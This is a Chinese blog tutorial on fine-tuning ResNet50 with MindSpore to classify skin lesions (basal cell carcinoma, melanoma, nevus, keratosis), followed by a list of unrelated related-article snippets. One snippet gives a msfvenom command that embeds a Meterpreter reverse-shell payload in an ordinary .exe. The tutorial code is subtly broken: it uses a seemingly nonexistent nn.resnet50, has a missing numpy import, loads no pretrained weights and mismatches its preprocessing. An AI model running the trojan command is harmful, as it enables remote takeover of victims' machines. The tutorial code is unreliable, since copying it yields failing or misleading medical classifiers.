昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍
本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据处理、模型搭建与训练、性能评估以及模型推理。
1.1 实验目标
- 掌握使用MindSpore进行深度学习模型训练的基本流程;
- 了解ResNet50模型的结构及其在图像分类中的应用;
- 学习如何针对特定数据集(皮肤病图片)进行模型微调和参数优化。
1.2 使用工具
- MindSpore框架:开源的AI计算框架,适用于多场景应用,支持端、边、云等多种部署环境。
- ResNet50模型:一种经典的深度残差网络,能够有效解决深层网络的梯度消失问题。
- 昇思大模型平台:基于昇思MindSpore的深度学习平台,提供丰富的模型库和强大的计算资源。
1.3 实验步骤
- 数据准备:收集并处理皮肤病数据集,确保数据质量;
- 模型选择:使用MindSpore提供的ResNet50预训练模型进行微调;
- 模型训练:配置训练参数,启动模型训练;
- 模型评估:通过验证集评估模型性能,进行超参数调整;
- 模型推理:部署训练好的模型进行恶性皮肤肿瘤识别。
2. 数据集处理
2.1 数据集介绍
该实验数据集包含四类皮肤病图片,分别为:
- 基底细胞癌(Basal Cell Carcinoma):最常见的皮肤癌,通常不扩散但有局部侵袭性;
- 黑色素瘤(Melanoma):最严重的皮肤癌,易扩散至其他部位,需早期发现治疗;
- 色素性良性角化病(Pigmented Benign Keratosis):良性皮肤病变,表现为皮肤上的色素斑块;
- 痣(Nevus):通常为良性的色素痣,但某些情况下可能发生恶变。
2.2 数据集获取和整理
数据集的下载链接为:https://xihe.mindspore.cn/datasets/knoka/pifudata_Maker/tree
。数据集包含4个分类,每类有若干图片,且已划分为训练集和验证集。
接下来,我们将通过代码下载并解压数据集,同时将数据集文件夹按编号进行重命名,方便后续的加载和使用。
# 重命名数据集文件夹,方便后续处理
import os# 定义疾病名称和编号的映射
diseases = {0: "basal_cell_carcinoma",1: "melanoma",2: "nevus",3: "pigmented_benign_keratosis",
}# 定义目标文件夹路径
target_directory = "pifudata_Maker/images/"# 重命名文件夹
for folder in ["train", "val"]:folder_path = os.path.join(target_directory, folder)for number, disease in diseases.items():old_folder_path = os.path.join(folder_path, disease)new_folder_path = os.path.join(folder_path, str(number))os.rename(old_folder_path, new_folder_path)
2.3 数据可视化
数据集中的每个类别的图片数量如下:
- 训练集:Nevus(357张)、Melanoma(438张)、Pigmented Benign Keratosis(462张)、Basal Cell Carcinoma(376张);
- 验证集:每类均为16张。
为了更直观地了解数据集分布,我们绘制了训练集和验证集的类别分布图。
import os
import matplotlib.pyplot as plt# 数据集路径
data_path_train = "pifudata_Maker/images/train"
data_path_val = "pifudata_Maker/images/val"# 统计每个类别的图片数量
file_counts_train = {}
file_counts_val = {}# 获取训练集和验证集的数据分布
for folder_name in os.listdir(data_path_train):folder_path = os.path.join(data_path_train, folder_name)count = len(os.listdir(folder_path))file_counts_train[folder_name] = countfor folder_name in os.listdir(data_path_val):folder_path = os.path.join(data_path_val, folder_name)count = len(os.listdir(folder_path))file_counts_val[folder_name] = count# 绘制图像
categories = list(file_counts_train.keys())
plt.figure(figsize=(12, 8))# 绘制训练集和验证集的条形图
plt.bar(categories, file_counts_train.values(), width=0.4, color='blue', label='Train')
plt.bar([x + 0.4 for x in range(len(categories))], file_counts_val.values(), width=0.4, color='green', label='Validation')# 添加标签与图例
plt.xlabel('Category')
plt.ylabel('Number of Images')
plt.legend()
plt.show()
2.4 数据加载
我们将通过MindSpore的ImageFolderDataset
加载数据集,并定义数据增强操作来提高模型的泛化能力。训练集进行随机裁剪和翻转等增强操作,验证集只进行基本的归一化处理。
import mindspore.dataset as ds
import mindspore.dataset.vision as vision# 定义数据集加载函数
def create_dataset(dataset_path, usage):data_set = ds.ImageFolderDataset(dataset_path, shuffle=True)mean = [0.485 * 255, 0.456 * 255, 0.406 * 255]std = [0.229 * 255, 0.224 * 255, 0.225 * 255]if usage == "train":trans = [vision.RandomCropDecodeResize(size=224, scale=(0.08, 1.0)),vision.RandomHorizontalFlip(prob=0.5),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]else:trans = [vision.Decode(),vision.Resize(224),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]data_set = data_set.map(operations=trans, input_columns="image")data_set = data_set.batch(64)return data_set# 创建训练集和验证集
train_dataset = create_dataset("pifudata_Maker/images/train", "train")
val_dataset = create_dataset("pifudata_Maker/images/val", "val")
3. 模型训练
3.1 模型定义
我们将使用MindSpore自带的ResNet50预训练模型,并对其最后一层进行修改,使其适应四类皮肤病的分类任务。
from mindspore import nn
from mindspore import load_checkpoint, load_param_into_net# 定义ResNet50模型并加载预训练权重
def resnet50(num_classes=4, pretrained=True):net = nn.resnet50()in_channels = net.fc.in_channelsnet.fc = nn.Dense(in_channels, num_classes)return netnetwork = resnet50()
3.2 模型训练
我们使用Momentum优化器和交叉熵损失函数进行模型训练。每个epoch结束后,会在验证集上进行评估,并保存最佳模型。
from mindspore import train# 定义损失函数和优化器
loss_fn = nn.SoftmaxCrossEntropyWithLogits(sparse=True)
opt = nn.Momentum(params=network.trainable_params(), learning_rate=0.001, momentum=0.9)# 实例化模型
model = train.Model(network, loss_fn, opt, metrics={'accuracy'})# 训练模型
num_epochs = 25
best_acc = 0
for epoch in range(num_epochs):model.train(epoch, train_dataset)acc = model.eval(val_dataset)['accuracy']print(f'Epoch {epoch+1}/{num_epochs}, Accuracy: {acc}')if acc > best_acc:best_acc = accmodel.save_checkpoint('best_model.ckpt')
4. 模型推理
在模型推理部分,我们首先需要对输入的图像进行预处理,将其转换为适合模型输入的格式。预处理完成后,我们将调用训练好的模型进行预测,并展示最终的推理结果。
import matplotlib.pyplot as plt
import mindspore as ms# 定义图片预处理函数
def preprocess_image(image_path):from PIL import Imageimage = Image.open(image_path)image = image.convert('RGB') # 确保图像为RGB格式image = image.resize((224, 224)) # 调整大小image = np.array(image) / 255.0 # 归一化image = np.transpose(image, (2, 0, 1)) # 调整维度image = np.expand_dims(image, axis=0) # 增加batch维度return image.astype(np.float32)# 定义推理函数,加载模型并进行预测
def infer(image_path, checkpoint_path):# 加载预训练模型net = resnet50(num_classes=4)param_dict = ms.load_checkpoint(checkpoint_path)ms.load_param_into_net(net, param_dict)model = ms.Model(net)# 预处理输入图像image = preprocess_image(image_path)image_tensor = ms.Tensor(image)# 进行推理output = model.predict(image_tensor)predicted_class = np.argmax(output.asnumpy(), axis=1)[0]# 类别映射class_names = {0: "基底细胞癌",1: "黑色素瘤",2: "痣",3: "色素性良性角化病"}# 展示结果plt.imshow(np.transpose(image[0], (1, 2, 0)))plt.title(f"预测结果: {class_names[predicted_class]}")plt.axis('off')plt.show()# 调用推理函数,展示结果
infer('path/to/your/image.jpg', 'best_model.ckpt')
该推理函数会加载已经训练好的模型,并将输入图像转换为合适的格式,最后通过模型预测输出类别。我们将使用Matplotlib库展示预测结果,并标记图像的分类情况。
结语
在本次实验中,我们一起学习了如何使用MindSpore框架进行皮肤肿瘤识别的任务。通过数据预处理、ResNet50模型的搭建与微调,以及模型训练与推理,逐步构建了一个能够对皮肤病进行分类的模型。虽然深度学习在医学图像识别领域具有广泛的应用前景,但在实际操作中,我们仍需要不断调整和优化模型的各项参数,以获得更好的性能。
相信在实践的过程中,我们都能更加深入地理解这些技术背后的原理,并在今后的学习和项目中继续探索和应用。也希望我们在未来的研究中,能通过更多的尝试和合作,共同提升我们的技能和知识水平。学习是一个不断积累的过程,期待和大家一起继续进步!
如果你觉得这篇博文对你有帮助,请点赞、收藏、关注我,并且可以打赏支持我!
欢迎关注我的后续博文,我将分享更多关于人工智能、自然语言处理和计算机视觉的精彩内容。
谢谢大家的支持!
相关文章:

昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍 本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据…...

基于SpringBoot+Vue的网约车管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...

Java、PHP、ASP、JSP、Kotlin、.NET、Go
Java 1995年,Java诞生了,微软的Java是J#,早期是J. 它在C的基础上增强了安全性,不允许多重继承,堆栈不允许类对象,数组和枚举都是类对象。 Java的诞生 早期的Sun公司想要在消费级嵌入式设备编写可移植的代码…...

华为-单臂路由
1、什么是单臂路由 单臂路由(Single-Arm Routing)是一种网络架构和配置技术,它允许路由器通过一个物理接口来管理多个虚拟局域网(VLAN)之间的通信。 这个物理接口被配置为Trunk模式,以便能够传输来自不同VL…...

AI应用的东风,奥特曼不想错过
文|魏琳华 编|王一粟 作为炙手可热的AI公司,Open AI又一次拿到了一轮足以令对手眼红的巨额融资。10月2日,Open AI宣布顺利完成66亿美元融资,补上了烧钱研发亏损的同时,还为下一轮竞争拿到了资金支持。 跻…...

LeetCode[中等] 238. 除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂…...

Linux plt表调用汇编代码分析
linux调用共享库中的函数时通过plt表和got表实现位置无关代码,过程中涉及到lazy binding,即在第一调用外部函数时解析被调用的函数地址并将地址写入到got表,后续调用则不需要解析函数地址,具体过程如下 1.c程序如下 #include &l…...

ubunut声卡配置 播放视频没有声音的解决方法 蓝牙问题
文章目录 🌕ubuntu22.04网页没有声音,声卡提示Dummy Output🌙方法一:切换内核🌙方法二:UBUNTU 声卡提示Dummy Output或伪输出解决办法(2020.04.02🌙方法三:解决Ubuntu18.…...

《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...

大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...

71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...

JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...

Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...

【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...

Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...

《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...

征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...

我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...

MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...

01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...

畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...

二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...

《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...

redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...

一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...

医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...

幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...

C++ 语言特性29 - 协程介绍
一:什么是协程 C20 引入了协程(coroutine),这是 C 标准库中一个强大的新特性。协程是一种可以在执行中暂停并随后恢复的函数,允许程序在异步或并行场景下高效管理任务,而不需要传统的线程或复杂的回调机制。…...